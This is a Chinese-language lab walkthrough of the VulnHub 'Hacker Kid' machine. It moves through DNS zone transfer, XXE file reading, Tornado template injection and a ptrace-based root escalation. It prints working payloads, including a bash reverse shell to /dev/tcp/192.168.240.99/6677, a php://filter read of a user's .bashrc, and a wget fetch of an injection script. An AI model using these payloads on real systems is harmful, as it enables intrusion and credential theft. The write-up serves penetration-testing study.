DNS区域传输漏洞
原理:
是指在DNS服务器配置不当的情况下,允许未经授权的客户端请求并获取整个DNS区域的数据记录。这种漏洞的存在使得攻击者可以轻松获取域名系统区域的数据记录,包括所有的域名和IP地址。
成因:
DNS区域传送(AXFR)是用于从一个DNS服务器将整个域名系统区域的数据记录传输到另一个DNS服务器的协议。通常情况下,只有备份服务器能够从主服务器获取数据,以实现数据同步。然而,如果DNS服务器配置不当,任何客户端都可以通过AXFR请求获取主服务器的数据。
靶场安装:
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
导入

信息收集
主机发现
扫描同网段下所有存活的主机(工具:kali) 因为靶机现在是NAT模式,并且我的VM也是自动获取ip的模式,所以在VM打开靶机之后,靶机就会被分 配一个ip地址,现在我们要得到这个ip
1 | nmap -sn 192.168.240.0/24 |
一直扫不出来,后来发现kali又出现问题了,eth0状态为不可用,我的网络根本用不了,经过长期的排错,我发现是物理主机的VMware NAT Service之前是停止状态的,给他重启一下就行了,eth0有线连接就又恢复了,验证,发现物理主机和虚拟机能互相ping通了
下面重新开始扫本网段存活的主机

已经可以看到我们的靶机ip了192.168.240.130
端口扫描
1 | nmap -sV 192.168.240.130 |

我们看到开放的端口有53,80,9999,53是dns的服务端口,80是http服务默认端口
9999端口开放的同时,还识别出这个端口上运行的服务(http)对应的服务器是tornado(一个python的web框架)
收集页面信息
从最常见的80端口入手

这个页面表面上看是没啥提示的,但是他说你越深挖我,就越能在你的服务器上找到我……继续挖我……继续挖我。
说明可能还有啥隐藏起来的信息,那在这个界面我们就看看页面源码
页面源码里面有两段注释代码,可以发现第二段给了提示

他说使用 GET 参数 page_no 来查看页面。
那我们可以尝试在 URL 中加入 ?page_no=数字 来访问不同页面。
但是这么多数字我们手动一一来访问看页面有有没有有用的信息太慢了,我们直接用bp来爆破一下

我们先访问一下page_no=1发起请求,用bp拦截,拦下这个数据包后我们把这个数据包发到intruder这个模块开始爆破,

配置好各项参数开始爆破

爆破完成发现page_no=21这个响应明显更大一些,肯定有信息,去访问一下

发现一个域名
1 | hackers.blackhat.local |
先放放,再去看看9999端口的那个界面下有啥

可以看到是一个登录界面,但是因为没有账号和密码,无法登录使用
所以我们就要继续深挖刚才扫出来的域名
用dig结合我们刚得到的域名继续挖掘信息(知道域名了,那就看看有没有对应的ip)
1 | dig hackers.blackhat.local @192.168.240.130 |
因为要继续通过我们刚得到的域名挖,那就是查询目标是hackers.blackhat.local,这个域名是通过靶机下的页面找到的,那就手动指定服务器ip为靶机ip

这次查询得知了我们这次查的域名居然是不存在的,那更别提查这个域名的IP了,但是没关系啊,刚才的权威回答告诉我们虽然这个域名不存在,但是blackhat.local这个DNS区是真实存在的,而且他的权威服务器就是我们的靶机,那我们就能换条路走了
我们用axfr去拉取整个blackhat.localDNS区域的全部记录
AXFR(DNS区域传输):axfr 是q类型的一种: axfr类型是Authoritative Transfer的缩写,指请求传送 某个区域的全部记录。

这里我们能看到好多子域,但是他们都指向了192.168.14.143,目前来说我已经知道这些子域的子域ip是192.168.14.143,我去访问了这个ip,根本访问不了,那大概率这些子域不是我们要关注的主要对象
此时发现还有一个域名突然出现了
hackerkid.blackhat.local 是 AXFR 回显里唯一之前没出现过、且拼写正常的纯域名
我们把这个域名记下来
1 | hackerkid.blackhat.local |
我们现在去dig这个域名其实也查不到
dig “问不到 A 记录” → 不再反复 dig 同一个子域浪费 time,不能用dig找到域名对应的ip,那我们就写 hosts 把域名→IP 固化(让系统能发 HTTP 请求),直接用浏览器去访问域名,看看能得到啥不
手动写本地解析文件/etc/hosts原因
因为我们这些已经得到的域名是只在我们靶机的DNS区域纯在,公网DNS里根本没有咱这些子域名,所以必须手动写本地解析文件
否则咱这些域名根本不可能被访问到
不写 / 不改动
→ 系统去公网 DNS 问 .local
→ 根、顶级域都不认,最终 NXDOMAIN
→ 浏览器报 “无法解析域名” 或 “DNS_PROBE_FINISHED_NXDOMAIN”,根本发不出 HTTP 请求。
因为我是在windos上进行渗透测试的,所以我直接在
C:\Windows\System32\drivers\etc\hosts上加这两行域名。

xxe漏洞
直接访问我们刚记下的域名之后发现一个登录界面

随便输入点信息后提交并且提起准备好bp开始抓包


抓到数据包,发现是xml格式的,看到xml格式的数据包就要开始想是否存在xxe漏洞,这里我们
测试一下看看有没有回显位,根据我们刚刚提交的信息得到的回应最有可能回显位就是email处,这里验证一下

测处email处就是回显位
1 | <!DOCTYPE test [ |
有回显,说明实体解析已经开启,很大可能存在xxe漏洞
可能存在xxe漏洞,那我们就利用它去读取一下我们本地敏感文件,看看能不能读取
构造payload
1 | <!DOCTYPE ZY [ |

发现真的能读取本地敏感文件(能看到所有用户账户),是一个货真价实的回显型xxe漏洞
我们用payload读取了靶机的全部用户,发现除了root用户,还有一个用户saket也有登录bash的权限,在众多用户都没有登录权限的时候,saket用户有,他直接脱颖而出,那必须得好好利用一下
查看他的.bashrc文件(渗透测试中的宝藏文件)看看里面是否有能利用的信息
1 | .bashrc 就是 每次打开新 bash 终端时自动执行的“个人启动脚本”,里面通常是环境变量 + 别名 + 函数 + 提示符美化,偶尔夹带密码/后门/横向移动线索。 |
尝试读取saket的.bashrc(这个文件一般在用户的家目录下/home/saket/.bashrc)
我用了file协议没读出来,下面尝试一下php协议
1 | php://filter/convert.base64-encode/resource=/home/saket/.bashrc |

成功带出.bashrc文件,去base64解码

发现一组username,password
想到上面用的9999端口拿到的登录界面,拿去登录一下

搞啥啊,居然登不上
但是我坚信这组信息包有用的啊,经过尝试,发现把用户名换成saket就可以了。。。。

页面提示,让我们告诉它名字,那就想到get传参

SSTI模板注入+反弹shell
结合前面nmap扫描扫出来的信息知道这个9999端口上运行的服务的对应的服务器是tornado框架的,并且前面已经测试过了有get传参
在 GET 参数回显场景下, Tornado 框架最需警惕的是服务端模板注入 (SSTI)。
Tornado 使用自己的模板引擎。
测试一下
1 | /?name={{7*7}} |

执行了,确认存在ssti模板注入漏洞
原因:
模板引擎的工作应该是填空:
你叫 → 把 name 的值填进来
但如果它能算数:
你叫 49 → 算出 49 再填进来
这就说明:用户输入的代码被服务器执行了。
那我们利用ssti来进行反弹shell
利用ssti模板注入漏洞进行反弹shell的原因
因为我们暂时只拿到了saket这个用户的用户名,我们并不知道用户密码,无法直接在靶机登录该普通用户拿到低权shell然后再通过其他方法达到提权的目的,所以我们利用反弹shell,直接将该用户能拿到的低权shell直接弹到kali上,不仅躲避了密码登录的麻烦,后续继续进行渗透也更加方便
构造payload
tornado框架自带一个os命令执行模块,所以直接将os模块导入利用即可
导入os模块执行命令(反弹shell的命令)
1 | {% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.240.99/6677 0>&1"')}} |
因为payload里面有很多特殊字符是需要实实在在的起作用的,所以我们先提起进行一次url编码(不编码会被浏览器拦截)
1 | /?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E240%2E99%2F6677+0%3E%261%22%27%29%7D%7D |
在kali上监听6677端口
1 | nc -lvp 6677 |

成功反弹shell
拿到saket用户的低权shell,后面继续提权,拿到root权限
提权(Capabilitie)
Capabilitie是一个Linux内核的功能,是做权限管理用的
Capabilitie
Capabilitie是什么
1.定义
Capability = 细粒度权限令牌
把传统“root 能做任何事”拆成无数小块,每块只干一件事(例如“只读打开 80 端口”)。
2.出现原因setuid 程序一旦被执行 = 获得全部 root 权力 → 容易被滥用。
Capability 让进程“按需拿权”,丢权后连自己都改不回来。
3.一句话记忆
“root 是银行卡,Capability 是微信零钱——一次只给够用的小额。”
常见Capabilitie权限
一.提权爱考
| Capability | 一句话记忆 | 典型利用场景 |
|---|---|---|
| CAP_SYS_ADMIN | “小 root”——挂载/配额/命名空间全包 | 容器逃逸:mount -t cgroup ...;unshare 提权 |
| CAP_DAC_OVERRIDE | 无视文件权限 rwx | 任意读 /etc/shadow、写 cron |
| CAP_DAC_READ_SEARCH | 跳过读/目录检索权限 | 遍历 /root、暴力搜敏感文件 |
| CAP_SETUID / CAP_SETGID | 随意改 UID/GID | setuid(0) 直接 root |
| CAP_NET_BIND_SERVICE | 绑 ≤1024 端口 | 80/443 无需 root |
| CAP_NET_RAW | 原始套接字 | 发 SYN Flood、伪造 TCP |
| CAP_SYS_PTRACE | 任意进程调试 | ptrace 注入 so → root |
| CAP_SYS_MODULE | 插删内核模块 | 编译 ko 提权(dirtycow 类) |
| CAP_SYS_CHROOT | chroot 逃逸 | chroot + mount 组合拳 |
| CAP_FOWNER | 文件属主任意改 | 把 /etc/passwd 改成自己 UID |
二.渗透常用
| Capability | 一句话记忆 | 典型利用场景 |
|---|---|---|
| CAP_NET_ADMIN | 网络接口/路由/防火墙配置 | 开网卡、改 iptables |
| CAP_SYS_BOOT | 重启系统 | 直接 reboot |
| CAP_SYS_TIME | 改系统时钟 | 撞签名失效、日志时间混淆 |
| CAP_SYS_RESOURCE | 突破 ulimit | 无限 fork/占内存 |
| CAP_KILL | 杀任意进程 | 杀守护进程触发重启 |
| CAP_IPC_OWNER | 管任意共享内存/消息队列 | 读 IPC 密文 |
| CAP_MKNOD | 创设备文件 | 手搓 /dev/mem 读物理内存 |
提权
查询哪些文件具有Capabilitie权限
1 | getcap -r / 2>/dev/null |
放上去发现报错,提示没有将getcap加入到环境里面
1 | /sbin/getcap -r / 2>/dev/null 指定完整的路径再次查询 |

发现了python2设置了ptrace,根据上面的学习我们知道ptrace是具有任意进程(包括root进程)调试的能力的
那我们下一步就是找活着的root进程
1 | ps -aef | grep root |

找到了很多我们选择利用阿帕奇(当然选其他进程也是可以的,但是需要这个进程的进程号不能太大且需要长期守护)
这里解释一下为啥选阿帕奇这个root进程
1.长期守护、root UID、无 seccomp(/proc/705/status 无 Seccomp 字段)
2.动态链接(有 libc & ld.so)→ 方便调用 dlopen
3.默认没开 PR_SET_DUMPABLE → 允许 ptrace attach
ID号是884
ptrace 内存注入
接下来我们需要下载一个利用这个权限漏洞的现成的Python脚本
1 | # inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. |
“这个脚本就像‘远程遥控器’:先让 root 程序暂停,把一段‘自动连回你电脑并开 shell’的小程序贴到它脑子里,再让它继续跑——root 程序自己就变成你的 root Shell 了。”
1.attach = 按暂停键 → root 进程不能动。
2.写 shellcode = 把“开放 5600 端口 + 开 bash”的二进制指令贴进它脑袋。
3.改指针 = 告诉它“从这条新指令继续跑”。
首先先把这个脚本写在kali本地,然后Kali开启HTTP服务,允许靶机把我们刚写的脚本下载下来

靶机从Kali上下载下来刚刚的脚本
1 | wget http://192.168.240.99/zz.py |

使用python2.7的sys_ptrace权限,将我们的进程注入脚本zz.py注入到刚才发现的以root权限运行的阿帕奇进程中
1 | python2.7 zz.py 884 |
zz.py把自己的后门进程注入到root的apache进程里面之后,它会在本机开启一个侦听端口5600ss -pantu | grep 5600看一下是否开启了5600端口,如果开启了的话,说明我们的注入成功了,这个后门的进程注入已经被启动了

nc 192.168.240.130 5600,我们直接连接

成功提权
注入完成 → 靶机开放 5600 且已 root → Kali 连 5600 → 提权成功。
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~